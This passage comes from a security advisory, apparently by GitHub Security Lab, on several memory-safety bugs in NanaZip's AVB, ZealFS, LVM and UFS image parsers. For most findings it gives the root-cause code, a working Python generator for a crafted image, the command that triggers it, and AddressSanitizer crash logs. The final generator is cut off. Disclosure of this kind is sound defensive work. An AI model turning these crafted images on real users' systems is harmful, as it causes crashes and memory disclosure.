  1. Attacker crafts an AVB image with a valid AVBf footer and AVB0 vbmeta header. Footer.vbmeta_size is capped to VBMETA_MAX_SIZE = 64 KiB, so buf is at most a 64 KiB heap allocation.
  2. Single hashtree descriptor with desc.Size = 164 (the minimum passing line 405). descSize == 164.
  3. partition_name_len = 0. After the partition name step, pos == 164.
  4. salt_len = 0xFFFFFF5C. The check on line 417 evaluates:
    • pos + salt_len = 164 + 0xFFFFFF5C = 0x100000000
    • This wraps to 0 in 32-bit unsigned arithmetic
    • 0 > 164false → check bypassed
  5. Line 420: salt.CopyFrom(buf + offset + 164, 0xFFFFFF5C) calls memcpy with length 0xFFFFFF5C (~4 GiB) starting at the end of the vbmeta buffer.

The CopyFrom sink

CByteBuffer::CopyFrom allocates a destination buffer and performs an unconditional memcpy:

void CopyFrom(const T *data, size_t size)
{
  Alloc(size);
  if (size != 0)
    memcpy(_items, data, size * sizeof(T));
}

With size = 0xFFFFFF5C (~4 GiB), Alloc attempts a ~4 GiB heap allocation (which may succeed on 64-bit Windows under overcommit), then memcpy reads ~4 GiB starting from buf + offset + 164 — where the source allocation is at most 64 KiB. The read walks billions of bytes past the heap allocation, deterministically hitting unmapped memory and crashing.

This is a stronger primitive than the NUL-stopped AddNameToString in GHSL-2026-126, because memcpy reads the full attacker-controlled length without early termination.

Independent secondary primitive (partition_name_len)

The same overflow pattern exists on line 411 for partition_name_len. Setting partition_name_len = 0xFFFFFF5C causes 164 + 0xFFFFFF5C to wrap to 0, bypassing the check, and AddNameToString reads from buf + offset + 164 with length 0xFFFFFF5C (NUL-stopped).

Tertiary (root_digest_len)

After pos += ht.salt_len, pos wraps to 164 + 0xFFFFFF5C = 0. The line 423 check 0 + ht.root_digest_len > descSize allows root_digest_len ≤ 164, and digest.CopyFrom(buf + offset + 0, ...) reads from the start of the descriptor — generally within bounds, but pos is desynchronized for any subsequent iteration.

Impact

CWE-190 (Integer Overflow) / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)

Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the AVB handler.

Why 7-Zip is not affected

AvbHandler.cpp is upstream 7-Zip code (identical to 7-Zip 26.00) but 7-Zip deliberately excludes this handler from the shipping 7z.dll build:

NanaZip enables it by including AvbHandler.cpp in NanaZip.Core.vcxproj.

CWEs

Resources

PoC generator:

A crafted vbmeta image with salt_len = 0xFFFFFF5C triggers the vulnerability:

#!/usr/bin/env python3
"""Generate a crafted AVB vbmeta image that triggers heap OOB read
via 32-bit unsigned overflow in hashtree descriptor salt_len check."""

import struct

VBMETA_HEADER_SIZE = 256
FOOTER_SIZE = 64
K_DESCRIPTOR_SIZE = 16
K_HASHTREE_SIZE_MIN = 164

desc_size = K_HASHTREE_SIZE_MIN  # 164 — minimum passing the descSize check

# Build vbmeta: header(256) + descriptor_header(16) + hashtree_body(164)
vbmeta_body_size = K_DESCRIPTOR_SIZE + desc_size  # 180
vbmeta = bytearray(VBMETA_HEADER_SIZE + vbmeta_body_size)

# AVB0 header
vbmeta[0:4] = b'AVB0'
struct.pack_into('>I', vbmeta, 4, 1)       # required_libavb_version_major = 1
struct.pack_into('>Q', vbmeta, 12, 0)      # authentication_data_block_size = 0
struct.pack_into('>Q', vbmeta, 20, 0)      # auxiliary_data_block_size = 0
struct.pack_into('>Q', vbmeta, 96, 0)      # descriptors_offset = 0
struct.pack_into('>Q', vbmeta, 104, vbmeta_body_size)  # descriptors_size = 180

# Descriptor header at offset 256
desc_off = VBMETA_HEADER_SIZE
struct.pack_into('>Q', vbmeta, desc_off + 0, 1)          # Tag = HASHTREE (1)
struct.pack_into('>Q', vbmeta, desc_off + 8, desc_size)  # Size = 164

# Hashtree descriptor body at desc_off + 16
ht_off = desc_off + K_DESCRIPTOR_SIZE
# partition_name_len = 0 (offset 88 in hashtree body) — skip partition name
struct.pack_into('>I', vbmeta, ht_off + 88, 0)
# salt_len = 0xFFFFFF5C (offset 92) — triggers overflow: 164 + 0xFFFFFF5C = 0 mod 2^32
struct.pack_into('>I', vbmeta, ht_off + 92, 0xFFFFFF5C)
# root_digest_len = 0 (offset 96)
struct.pack_into('>I', vbmeta, ht_off + 96, 0)

# Fill with non-zero bytes so memcpy reads non-NUL data past the allocation
vbmeta.extend(b'A' * 512)
vbmeta_size = len(vbmeta)

# Build footer (last 64 bytes of the image)
footer = bytearray(FOOTER_SIZE)
footer[0:4] = b'AVBf'
struct.pack_into('>I', footer, 4, 1)                         # version_major = 1
struct.pack_into('>Q', footer, 12, vbmeta_size + FOOTER_SIZE) # original_image_size
struct.pack_into('>Q', footer, 20, 0)                         # vbmeta_offset = 0
struct.pack_into('>Q', footer, 28, vbmeta_size)               # vbmeta_size

img = vbmeta + footer
with open('poc_avb_hashtree.img', 'wb') as f:
    f.write(img)

print(f'Written {len(img)}-byte image')
print(f'  vbmeta_size: {vbmeta_size}')
print(f'  Hashtree descriptor: salt_len=0xFFFFFF5C')
print(f'  32-bit overflow: pos(164) + salt_len(0xFFFFFF5C) = 0x100000000 → wraps to 0')

Triggering:

NanaZip.Universal.Console.exe l poc_avb_hashtree.img

Verification

When NanaZip is compiled with AddressSanitizer (ReleaseAsan configuration):

=================================================================
==35524==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1284347a1334
  at pc 0x7ffcefdc64b7 bp 0x00e1a47ec210 sp 0x00e1a47eb9a0
READ of size 4294967132 at 0x1284347a1334 thread T0
    #0 _asan_memcpy+0x1c6
        (clang_rt.asan_dynamic-x86_64.dll)
    #1 NArchive::NAvb::CHandler::Open2
        NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:420
    #2 NArchive::NAvb::CHandler::Open
        NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:472
    #3 CArc::OpenStream2       OpenArchive.cpp:1978
    #4 CArc::OpenStream        OpenArchive.cpp:3027
    #5 CArc::OpenStreamOrFile  OpenArchive.cpp:3122
    #6 CArchiveLink::Open      OpenArchive.cpp:3298
    #7 CArchiveLink::Open2     OpenArchive.cpp:3422
    #8 CArchiveLink::Open3     OpenArchive.cpp:3490
    #9 ListArchives            List.cpp:1191
    #10 Main2                  Main.cpp:1568
    #11 main                   MainAr.cpp:170

0x1284347a1334 is located 0 bytes after 948-byte region
  [0x1284347a0f80,0x1284347a1334)
allocated by thread T0 here:
    #0 operator new[]     asan_win_new_array_thunk.cpp:41
    #1 CBuffer<unsigned char>::Alloc   MyBuffer.h:69
    #2 NArchive::NAvb::CHandler::Open2 AvbHandler.cpp:368

SUMMARY: AddressSanitizer: heap-buffer-overflow
  NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:420
  in NArchive::NAvb::CHandler::Open2

The READ of size 4294967132 (= 0xFFFFFF5C) confirms the full salt_len value was passed to memcpy. The read starts at exactly 0 bytes after the 948-byte vbmeta buffer allocation.

issue 5: Stack out-of-bounds read in NanaZip ZealFS bitmap parser (GHSL-2026-128)

A stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure.

The function Zealfs::Open reads a ZEALFS_V1_HEADER structure from the beginning of the image file and then iterates over the PagesBitmap array to count free pages. The iteration bound is Header.BitmapSize — a single-byte field read directly from the untrusted file. The only validation is a check that BitmapSize is non-zero:

// NanaZip.Codecs.Archive.Zealfs.cpp — Zealfs::Open()

// Line 261: Header is a stack-allocated 64-byte struct
ZEALFS_V1_HEADER Header = {};
if (FAILED(this->ReadFileStream(
    0,
    &Header,
    sizeof(ZEALFS_V1_HEADER))))
{
    break;
}

// ... magic and version checks ...

// Line 280: Only checks for zero — no upper-bound check
if (!Header.BitmapSize)
{
    break;
}

// Line 285-296: Loop uses attacker-controlled BitmapSize as bound
this->m_PhysicalSize = ZEALFS_V1_PAGE_SIZE * Header.BitmapSize * 8;
this->m_FreeSpace = 0;
for (std::uint8_t i = 0; i < Header.BitmapSize; ++i)
{
    this->m_FreeSpace += !(0x01 & Header.PagesBitmap[i]);  // OOB read
    this->m_FreeSpace += !(0x02 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x04 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x08 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x10 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x20 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x40 & Header.PagesBitmap[i]);
    this->m_FreeSpace += !(0x80 & Header.PagesBitmap[i]);
}

Source: NanaZip.Codecs.Archive.Zealfs.cpp:261-296

Missing check: Header.BitmapSize is a uint8_t (range 1–255 after the zero-check), but PagesBitmap is declared with only ZEALFS_V1_BITMAP_SIZE = 32 elements. Any BitmapSize value in the range 33–255 causes the loop to read past the end of the PagesBitmap array.

Struct layout

The ZEALFS_V1_HEADER structure definition:

// NanaZip.Codecs.Specification.Zealfs.h

#define ZEALFS_V1_MAXIMUM_PAGE_COUNT 256
#define ZEALFS_V1_BITMAP_SIZE (ZEALFS_V1_MAXIMUM_PAGE_COUNT / 8)  // == 32
#define ZEALFS_V1_RESERVED_SIZE 28

typedef struct _ZEALFS_V1_HEADER
{
    ZEALFS_COMMON_HEADER Common;                   // +0:  2 bytes (Magic, Version)
    MO_UINT8 BitmapSize;                           // +2:  1 byte
    MO_UINT8 FreePages;                            // +3:  1 byte
    MO_UINT8 PagesBitmap[ZEALFS_V1_BITMAP_SIZE];   // +4:  32 bytes (indices 0..31)
    MO_UINT8 Reserved[ZEALFS_V1_RESERVED_SIZE];    // +36: 28 bytes
} ZEALFS_V1_HEADER;                                // Total: 64 bytes

Out-of-bounds access progression

When BitmapSize > 32, the expression Header.PagesBitmap[i] accesses memory past the PagesBitmap array:

i range Accessed region Offset within struct
0–31 PagesBitmap[0..31] (valid) +4 to +35
32–59 Reserved[0..27] (wrong field, but within struct) +36 to +63
60–254 Past end of ZEALFS_V1_HEADER (stack OOB) +64 to +258

A crafted image with BitmapSize = 255 reads up to 195 bytes past the end of the stack-allocated Header, disclosing adjacent stack frame contents (return addresses, saved registers, other local variables) into the m_FreeSpace computation.

Impact

A crafted ZealFS v1 image can cause NanaZip to read beyond its bitmap array when BitmapSize > 32. Values of BitmapSize >= 61 extend the read beyond the enclosing stack-allocated header, reaching up to 195 bytes past its end at BitmapSize = 255. These bytes contribute to an aggregate free-space count rather than being disclosed verbatim.

Mitigations: NanaZip enables CFG, CET shadow stack, and /GS stack cookies. Stack cookies can detect certain stack overwrites, but do not prevent out-of-bounds reads.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)

Affected versions: Since 5.0.1252.0 (2025-02-02), the first release shipping the ZealFS handler.

CWEs

Resources

PoC generator:

A minimal 2048-byte ZealFS v1 image triggers the vulnerability:

#!/usr/bin/env python3
"""Generate a crafted ZealFS v1 image that triggers the stack OOB read."""

import struct

PAGE = 256
BITMAP_BYTES = 32
HEADER_SIZE = 64

def main():
    # Minimum valid partition: 8 pages = 2048 bytes
    partition_pages = 8
    data = bytearray(partition_pages * PAGE)

    # ZealFS v1 header
    data[0] = ord('Z')       # Magic
    data[1] = 1              # Version
    data[2] = 61             # BitmapSize = 61 → PagesBitmap[60] is 1 byte past struct
    data[3] = 0              # FreePages (irrelevant)

    # Set page 0 as allocated in bitmap
    data[4] = 0x01

    with open('poc.zealfs', 'wb') as f:
        f.write(data)
    print("Written poc.zealfs ({} bytes)".format(len(data)))
    print("BitmapSize=61 causes loop to read PagesBitmap[32..60],")
    print("which spans Reserved[0..27] then 1 byte past the struct.")

if __name__ == '__main__':
    main()

Triggering:

NanaZip.Universal.Console.exe l poc.zealfs

Verification

When NanaZip is compiled with AddressSanitizer (/fsanitize=address):

=================================================================
==1616==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00a824eff210 at pc 0x01b802ea198f bp 0x00a824eff180 sp 0x00a824eff180
READ of size 1 at 0x00a824eff210 thread T0
    #0 0x01b802ea198e in NanaZip::Codecs::Archive::Zealfs::Open NanaZip.Codecs\NanaZip.Codecs.Archive.Zealfs.cpp:289
    #1 0x7ff7465e2e2e in NanaZip::Fuzz::RunFuzzCase Fuzzing\NanaZip.Codecs.Fuzz.h:268
    #2 0x7ff7465e36f5 in LLVMFuzzerTestOneInput Fuzzing\Fuzz.Zealfs.cpp:6
    #3 0x7ff74661bdc6 in fuzzer::Fuzzer::ExecuteCallback [...]\FuzzerLoop.cpp:636
    #4 0x7ff74661e560 in fuzzer::Fuzzer::RunOne [...]\FuzzerLoop.cpp:533
    #5 0x7ff74661ccdd in fuzzer::Fuzzer::MutateAndTestOne [...]\FuzzerLoop.cpp:782
    #6 0x7ff74661c712 in fuzzer::Fuzzer::Loop [...]\FuzzerLoop.cpp:927
    #7 0x7ff746609510 in fuzzer::FuzzerDriver [...]\FuzzerDriver.cpp:929

Address 0x00a824eff210 is located in stack of thread T0 at offset 96 in frame
    #0 0x01b802ea166f in NanaZip::Codecs::Archive::Zealfs::Open ...Zealfs.cpp:229

  This frame has 9 object(s):
    [32, 96) 'Header'
    [96, 104) 'TotalBytes' <== Memory access at offset 96 is inside this variable

SUMMARY: AddressSanitizer: stack-buffer-overflow
  NanaZip.Codecs\NanaZip.Codecs.Archive.Zealfs.cpp:289
  in NanaZip::Codecs::Archive::Zealfs::Open

The crash occurs at line 289 when i exceeds 59 and the read reaches past the 64-byte stack-allocated Header struct.

issue 6: Heap buffer-overflow read in NanaZip LVM metadata CRC check (GHSL-2026-129)

A heap buffer-overflow read exists in the LVM2 physical-volume metadata parser in NanaZip (via the upstream 7-Zip LvmHandler). The vulnerability is triggered when opening a crafted LVM disk image. When the metadata area size field is between 1 and 511 bytes, the handler allocates a buffer of that size but unconditionally reads 508 bytes from it for a CRC-32 check, reading up to 507 bytes past the end of the allocation.

The function CHandler::Open2 in LvmHandler.cpp reads a metadata disk_locn from the PV header. The size field is a 64-bit value read from the crafted image. After allocating a buffer of exactly size bytes and reading that many bytes from the stream, the handler computes a CRC-32 over a hardcoded length of kSectorSize - 4 (= 508) bytes:

// LvmHandler.cpp — CHandler::Open2()

CByteBuffer meta;
const size_t sizeT = (size_t)size;
if (sizeT != size)
    return S_FALSE;
meta.Alloc(sizeT);                                       // allocates sizeT bytes
RINOK(InStream_SeekSet(stream, offset))
RINOK(ReadStream_FALSE(stream, meta, sizeT))              // fills sizeT bytes

// CRC check reads a FIXED 508 bytes regardless of sizeT:
if (Get32(meta) != LvmCrcCalc(meta + 4, kSectorSize - 4)) // ← reads meta[4..511]
    return S_FALSE;

Source: NanaZip.Core/SevenZip/CPP/7zip/Archive/LvmHandler.cpp, lines 754–761

When 1 ≤ sizeT < 512, the meta buffer holds sizeT bytes, but LvmCrcCalc(meta + 4, 508) reads bytes meta[4] through meta[511] — up to 511 - sizeT bytes past the heap allocation boundary.

Similarly, Get32(meta) reads 4 bytes from the start of the buffer, which overflows when sizeT < 4.

Overflow size range

sizeT Bytes allocated Bytes read by CRC OOB read size
1 1 512 511
4 4 512 508
100 100 512 412
511 511 512 1
512 512 512 0 (safe)

The maximum out-of-bounds read is 511 bytes when sizeT = 1.

Root cause

The CRC computation uses kSectorSize - 4 (508) as a hardcoded length, matching the on-disk LVM metadata header format where the CRC covers the remainder of the first sector. However, the code assumes the buffer is at least 512 bytes — this assumption is never enforced. The size field is attacker-controlled and can be set to any value.

Path constraints

The metadata disk_locn must survive these checks before reaching the vulnerable CRC call:

  1. offset != 0 || size != 0 — the disk_locn must not be the all-zeros terminator
  2. (size_t)size == size — the 64-bit value must fit in size_t (always true on 64-bit)

There is no minimum-size validation.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the LVM handler.

Relationship to null-deref finding

This vulnerability shares the same root cause location as a separate null-pointer dereference from unchecked large allocation. Both stem from the lack of bounds validation on the metadata disk_locn.size field:

Condition Bug class Impact
size > available_memory Null-deref DoS (crash)
1 ≤ size < 512 Heap OOB read (this report) Info leak / DoS
size ≥ 512 Safe Normal operation

Why 7-Zip is not affected

LvmHandler.cpp is upstream 7-Zip code (identical to the copy in 7-Zip 26.00) — the vulnerability exists in Igor Pavlov’s source tree. However, 7-Zip deliberately excludes this handler from the shipping 7z.dll build:

NanaZip enables the handler by including LvmHandler.cpp in NanaZip.Core.vcxproj. The REGISTER_ARC_I macro auto-activates it on compilation.

CWEs

Resources

PoC generator:

A crafted 2048-byte LVM image triggers the vulnerability. The image contains:

  1. Sector 0 (bytes 0–511): all zeros
  2. Sector 1 (bytes 512–1023): valid PV label with LABELONE + LVM2 001, correct CRC-32, and metadata disk_locn = {offset=1024, size=8}
  3. Sector 2 (bytes 1024–1031): 8 bytes of metadata (the handler will read 512 bytes from this 8-byte buffer)

Image generator

#!/usr/bin/env python3
"""Generate a crafted LVM image that triggers heap OOB read in LvmHandler."""

import struct

SECTOR = 512
CRC_INIT = 0xf597a6cf
META_SIZE = 8   # Small enough to trigger OOB (< 512)

def crc32_lvm(data: bytes) -> int:
    """CRC-32/IEEE with custom init value, no final XOR."""
    table = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ (0xEDB88320 if c & 1 else 0)
        table.append(c)
    crc = CRC_INIT
    for b in data:
        crc = (crc >> 8) ^ table[(crc ^ b) & 0xFF]
    return crc & 0xFFFFFFFF

IMAGE_SIZE = SECTOR * 2 + META_SIZE
img = bytearray(IMAGE_SIZE)
label = memoryview(img)[SECTOR:]

# label_header
label[0:8]   = b'LABELONE'
struct.pack_into('<Q', label, 8, 1)         # sector_xl = 1
struct.pack_into('<I', label, 20, 32)       # offsetToCont = 32
label[24:32] = b'LVM2 001'

# pv_header (starts at +32)
# +32..+63: pv_id (zeros)
struct.pack_into('<Q', label, 64, IMAGE_SIZE)  # device_size_xl

# data disk_locn[0] = {0, 0} → terminator
struct.pack_into('<Q', label, 72, 0)
struct.pack_into('<Q', label, 80, 0)

# metadata disk_locn[0] = {offset=1024, size=META_SIZE}
struct.pack_into('<Q', label, 88, SECTOR * 2)  # meta offset
struct.pack_into('<Q', label, 96, META_SIZE)   # meta size (too small!)

# Recompute label CRC over bytes [+20 .. +511]
crc = crc32_lvm(bytes(label[20:SECTOR]))
struct.pack_into('<I', label, 16, crc)

# Write minimal metadata area (8 bytes of zeros)
# The handler will Alloc(8) then LvmCrcCalc(meta+4, 508) — reading 504 bytes OOB

with open('lvm_oob_read.lvm', 'wb') as f:
    f.write(img)

print(f'Written {IMAGE_SIZE}-byte image')
print(f'  Label CRC: 0x{crc:08X}')
print(f'  Metadata buffer: {META_SIZE} bytes')
print(f'  CRC will read: 512 bytes → {512 - META_SIZE} bytes OOB')

Triggering:

Enable full-page-heap verification for the executable, then run the PoC and check the exit code:

:: Enable Page Heap (requires Administrator)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /v GlobalFlag /t REG_DWORD /d 0x02000000 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /v PageHeapFlags /t REG_DWORD /d 0x3 /f

:: Run the PoC and check exit code (0xC0000005 = ACCESS_VIOLATION = OOB confirmed)
NanaZip.Universal.Console.exe l lvm_oob_read.lvm
echo Exit code: %ERRORLEVEL%

:: Clean up
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /f

The process crashes with 0xC0000005 (ACCESS_VIOLATION). Page Heap places a guard page immediately after each allocation, so the 504-byte overread from the 8-byte meta buffer hits the guard page and faults.

Without Page Heap, the OOB read silently accesses adjacent heap padding and the process exits normally (exit code 1 or 2) with no visible crash. The echo Exit code: %ERRORLEVEL% line distinguishes the two cases: -1073741819 (= 0xC0000005) confirms the OOB, while 1 or 2 means Page Heap is not active.

A null-pointer dereference exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS image where the root inode (inode 2) is set to IFLNK (symlink) instead of IFDIR (directory). The parser unconditionally treats the root inode as a directory without checking its type, and when the symlink has an embedded target (small di_size), the directory data buffer is zero-length, causing a null-pointer dereference on the first read.

The function Open in NanaZip.Codecs.Archive.Ufs.cpp calls GetAllPaths(UFS_ROOTINO, "") at line 794 without verifying that inode 2 has IFDIR mode. The function GetAllPaths in turn calls GetInodeInformation to read the inode metadata.

When the root inode’s di_mode is IFLNK (symlink, 0xA000) and its di_size is less than or equal to fs_maxsymlinklen (typically 60 bytes), GetInodeInformation takes the embedded-symlink fast path at line 376–392: it populates EmbeddedSymbolLink and returns true without adding any entries to BlockOffsets.

Back in GetAllPaths, the empty BlockOffsets produces:

The directory-entry parsing loop then enters because 0 < 11:

// NanaZip.Codecs.Archive.Ufs.cpp — GetAllPaths()

// Line 590: Buffer is zero-length when BlockOffsets is empty
std::vector<std::uint8_t> Buffer(ActualSize);  // ActualSize == 0

// Line 608-609: EndOffset is the inode's FileSize (e.g. 11)
std::size_t EndOffset = static_cast<std::size_t>(Information.FileSize);

// Line 610: Loop enters because 0 < 11
for (size_t CurrentOffset = 0; CurrentOffset < EndOffset;)
{
    // Line 620: Dereferences null — Buffer.data() is null
    direct* Current = reinterpret_cast<direct*>(&Buffer[CurrentOffset]);

    // Line 621: Reads 4 bytes starting at address 0x0
    std::uint32_t Inode = this->ReadUInt32(&Current->d_ino);  // CRASH

Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 556–658

Root cause

Two missing checks compound to produce the crash:

  1. No inode type check before directory parsing. Open() at line 794 calls GetAllPaths(UFS_ROOTINO, "") without verifying (Information.Mode & IFMT) == IFDIR. On a real filesystem, inode 2 is always a directory, but a crafted image can set it to any type.

  2. No empty-buffer guard in GetAllPaths. The function does not check that ActualSize > 0 (or equivalently that BlockOffsets is non-empty) before entering the directory-entry parsing loop. The EndOffset < CurrentOffset + MinimumDirectoryEntrySize check at line 612 would catch this if EndOffset were also 0, but when FileSize > 0 and BlockOffsetsCount == 0, the loop enters with a null buffer.

Path through GetInodeInformation

The embedded-symlink early return is the key:

// NanaZip.Codecs.Archive.Ufs.cpp — GetInodeInformation()

// Line 376-392: For symlinks with small di_size, return early
if ((Information.Mode & IFMT) == IFLNK)
{
    if (Information.FileSize <= this->GetMaximumEmbeddedSymbolLinkLength())
    {
        // ... populate EmbeddedSymbolLink from di_shortlink ...
        Information.EmbeddedSymbolLink = EmbeddedSymbolLink;
        return true;  // ← Returns WITHOUT populating BlockOffsets
    }
}

// Line 397+: Block offset population only happens AFTER this point
std::int32_t BlockSize = this->GetBlockSize();
// ...
for (std::size_t i = 0; i < UFS_NDADDR; ++i)
{
    Information.BlockOffsets.emplace_back(...);
    // ...
}

When this early return fires, Information.BlockOffsets remains empty (default-constructed), Information.FileSize retains the symlink target length (e.g. 11), and GetAllPaths proceeds to parse a zero-length buffer as if it contained directory entries.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.

Relationship to other UFS findings

This vulnerability is distinct from:

All three are in the same UFS handler but have different root causes and trigger conditions.

CWEs

Resources

PoC generator:

A crafted 20 KiB UFS1 filesystem image triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers null-deref in GetAllPaths."""

import struct

SBLOCK_UFS1 = 8192
FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
IFLNK = 0xA000
IMAGE_SIZE = 20 * 1024  # 20 KiB

def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)

img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1

# Superblock
w32(img, sb+16, 4)             # fs_iblkno = 4
w32(img, sb+40, 100)           # fs_old_dsize
wu32(img, sb+44, 1)            # fs_ncg = 1
w32(img, sb+48, BLOCK_SIZE)    # fs_bsize = 4096
w32(img, sb+52, BLOCK_SIZE)    # fs_fsize = 4096
w32(img, sb+56, 1)             # fs_frag = 1
w32(img, sb+104, 8192)         # fs_sbsize = 8192
wu32(img, sb+184, 16)          # fs_ipg = 16
w32(img, sb+188, 100)          # fs_fpg = 100
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc = 8192
w32(img, sb+1320, 60)          # fs_maxsymlinklen = 60
w32(img, sb+1372, FS_UFS1_MAGIC)

# Root inode (inode 2) at offset 16640
# iblkno(4) * fsize(4096) + rootino(2) * sizeof(ufs1_dinode)(128) = 16640
ri = 4 * BLOCK_SIZE + 2 * 128

w16(img, ri+0, IFLNK | 0o755)  # di_mode = IFLNK | 0755
w16(img, ri+2, 1)               # di_nlink = 1
struct.pack_into('<Q', img, ri+8, 11)  # di_size = 11 (<= maxsymlinklen=60)

# di_shortlink at offset +40 (overlays di_db[])
target = b"/etc/passwd"
img[ri+40:ri+40+len(target)] = target

with open('poc_ufs_null.img', 'wb') as f:
    f.write(img)

print(f'Written {IMAGE_SIZE}-byte image')
print(f'  Root inode mode: 0x{IFLNK | 0o755:04X} (IFLNK)')
print(f'  Root inode size: 11 (symlink target: /etc/passwd)')
print(f'  fs_maxsymlinklen: 60 (11 <= 60 → embedded symlink path taken)')

Triggering:

NanaZip.Universal.Console.exe l poc_ufs_null.img

Verification

When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):

==34932==ERROR: AddressSanitizer: access-violation on unknown address
  0x000000000003 (pc 0x7ffc0c39f137 bp 0x000000000003 sp 0x00f50f2fc970 T0)
==34932==The signal is caused by a READ memory access.
==34932==Hint: address points to the zero page.
    #0 MileReadUInt32LittleEndian
        NanaZip.Codecs\Mile.Helpers.Portable.Base.Unstaged.cpp:53
    #1 NanaZip::Codecs::Archive::Ufs::GetAllPaths
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:621
    #2 NanaZip::Codecs::Archive::Ufs::Open
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
    #3 CArc::OpenStream2       OpenArchive.cpp:1978
    #4 CArc::OpenStream        OpenArchive.cpp:3027
    #5 CArc::OpenStreamOrFile  OpenArchive.cpp:3122
    #6 CArchiveLink::Open      OpenArchive.cpp:3298
    #7 CArchiveLink::Open2     OpenArchive.cpp:3422
    #8 ListArchives            List.cpp:1191
    #9 Main2                   Main.cpp:1568
    #10 main                   MainAr.cpp:170

SUMMARY: AddressSanitizer: access-violation
  NanaZip.Codecs\Mile.Helpers.Portable.Base.Unstaged.cpp:53
  in MileReadUInt32LittleEndian

issue 8: Integer divide-by-zero in NanaZip UFS inode offset calculation (GHSL-2026-131)

An integer divide-by-zero exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS image where the superblock field fs_ipg (inodes per cylinder group) is set to zero. The parser uses this attacker-controlled value as a divisor without validation, causing an immediate hardware trap and process crash.

The function GetInodeOffset in NanaZip.Codecs.Archive.Ufs.cpp computes the on-disk byte offset of a UFS inode. It reads fs_ipg (inodes per cylinder group) from the superblock and uses it as a divisor to determine which cylinder group the inode belongs to:

// NanaZip.Codecs.Archive.Ufs.cpp — GetInodeOffset()

std::uint64_t GetInodeOffset(std::uint32_t const& Inode)
{
    std::uint32_t InodePerCylinderGroup = this->ReadUInt32(
        &this->m_SuperBlock.fs_ipg);                          // attacker-controlled
    std::uint32_t CylinderGroup = Inode / InodePerCylinderGroup;  // line 282: TRAP
    std::uint32_t SubIndex = Inode % InodePerCylinderGroup;       // line 283: same
    // ...
}

Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 277–289

The fs_ipg field is read directly from the on-disk superblock without any validation. When an attacker sets fs_ipg = 0, the division at line 282 triggers a hardware divide-by-zero exception (x86 #DE interrupt), which the OS delivers as a structured exception (Windows) or SIGFPE (POSIX), terminating the process.

Call chain

The function is reached unconditionally during archive open:

Open() [line 794]
  → GetAllPaths(UFS_ROOTINO=2, "") [line 561]
    → GetInodeInformation(2, ...) [line 304]
      → GetInodeOffset(2) [line 280]  ← CRASH

Open calls GetAllPaths(UFS_ROOTINO, "") as its first action after superblock validation. The superblock validation in Open (lines 700–780) checks fs_magic, fs_sblockloc, fs_frag >= 1, fs_ncg >= 1, fs_bsize >= MINBSIZE, and fs_sbsize, but does not validate fs_ipg.

Sibling division sites

All division and modulo operations in the UFS handler were audited:

Line Expression Divisor Risk
54 UnixTimeNanoseconds / 100 constant Safe
79, 99 sizeof(...) / sizeof(...) constant Safe
282 Inode / InodePerCylinderGroup fs_ipg This bug
283 Inode % InodePerCylinderGroup fs_ipg Same root cause
424 BlockSize / sizeof(int32_t) constant Safe
433 BlockSize / sizeof(int64_t) constant Safe

No other unguarded attacker-controlled divisors exist in this file.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.

Relationship to other UFS findings

This vulnerability is distinct from:

All three are in the same UFS handler but have different root causes and trigger conditions.

CWEs

Resources

PoC generator:

A crafted 16 KiB UFS1 filesystem image triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers div-by-zero in GetInodeOffset."""

import struct

SBLOCK_UFS1 = 8192
